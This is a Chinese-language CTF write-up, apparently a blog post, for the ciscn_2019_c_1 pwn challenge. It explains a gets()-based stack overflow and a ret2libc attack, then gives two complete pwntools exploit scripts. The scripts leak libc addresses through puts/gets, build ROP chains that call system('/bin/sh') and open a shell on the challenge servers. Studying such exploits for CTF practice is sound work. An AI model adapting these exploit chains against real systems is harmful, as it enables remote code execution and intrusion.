ciscn_2019_c_1(类型:ret2libc)

和之前做的题目不太一样,这是一道Return2libc的题目,有很多问题还是不太懂,这里做一个记录。
首先进入到题目环境里面,看看程序大概功能,这样方便了解程序。
在这里插入图片描述
有三个功能选项,只有选项1才有具体的作用,会对输入进行加密,加密输出之后继续返回到程序
用IDA分析程序
checksec查看一下,开启了NX
在这里插入图片描述

先看到主函数,汇编代码的大致意思也就是选项处输入1就可以进入到encrypt函数,下面给出主函数伪代码,输入的是v4,如果v4=1 调用encrypt函数
在这里插入图片描述
进入到encrypt分析
在这里插入图片描述
这里发现了gets函数,这里并没有限制长度,可能存在栈溢出,但是这里的输入会经过下面对字符的加密处理,必然会破坏我们的构造的payload,不过这里可以绕过,只要让strlen(s)小于自增的x,我们可以让strlen(s)的长度为0,也就是让字符串的第一个字符为"\x00",那样strlen函数读取到第一个字符串就会终止。
我们已经可以知道了如何实现溢出了,但是没有找到后门函数,也不知道libc的版本,这里就只能使用Return2libc的方法

当函数调用栈没有执行权限时,就不能执行我们自己写入的shellcode,就利用程序里或系统里的函数,libc动态链接库中通常就有需要的函数,如system()

参考文章 1 2 3
我们首先要获得libc的基地址,可以通过puts函数入手,这里解释一下为什么通过puts函数而不通过其他函数,因为puts函数在我们进入encrypt函数之前已经调用了很多次了,对于每一个动态链接而言,第一次调用完成以后,就修正了.got表中的对应的puts函数的地址,所以我们可以通过puts函数泄露
所以首先要通过溢出来找到libc的版本,这里可以在线搜,也可以使用LibcSearcher,在线搜的网址https://libc.blukat.me/,然后通过得到的libc版本找到system函数的地址,特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐,这ret地址可以随意找一个返回地址

from pwn import*
from LibcSearcher import *

context.log_level = 'debug'
io = remote("node3.buuoj.cn" , 27729)
elf = ELF("./ciscn_2019_c_1")
puts_plt =elf.plt["puts"]
puts_got= elf.got["puts"]
pop_rid_ret = 0x400c83  #×64程序基本都存在的一个地址pop rdi;ret
main_addr = 0x400b28

io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')

payload1 = b"\x00" + b"A"*(80 - 1 + 8) + p64(pop_rid_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.recvuntil("Input your Plaintext to be encrypted")
io.sendline(payload1)


io.recvuntil('Ciphertext\n')	
io.recvline()
puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
print("------------------->",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
sys_libc = libc.dump('system')
bin_sh_libc = libc.dump('str_bin_sh')
puts_libc = libc.dump('puts')
ret = 0x4006B9

sys_addr = puts_addr + (sys_libc - puts_libc)
bin_addr = puts_addr + (bin_sh_libc - puts_libc)

io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')

io.recvuntil("Input your Plaintext to be encrypted")
payload2 = b"\x00" + b"A"*(80 - 1 + 8) + p64(ret) + p64(pop_rid_ret) + p64(bin_addr) + p64(sys_addr) + b'A'*8
io.sendline(payload2)

io.interactive()

这里再给一个exp

from pwn import *
from LibcSearcher import *
 
#p = process('../files/ciscn_2019_c_1')
p = remote('pwn.buuoj.cn', 20115)
e = ELF('../files/ciscn_2019_c_1')
 
start = 0x400B28
rdi_addr = 0x0000000000400c83
 
puts_plt = e.plt['puts']
gets_got = e.got['gets']
 
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
 
p.sendlineafter('choice!\n', '1')
 
payload1 = 'a' * (0x50 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)
 
p.sendline(payload1)
 
p.recvuntil('@')
p.recvline()
gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
log.success('get_leak_addr => {}'.format(hex(gets_leak)))
 
libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
 
p.sendlineafter('choice!\n', '1')
 
payload2 = 'a' *(0x50 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
 
p.sendline(payload2)
p.interactive()

放一篇文章

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值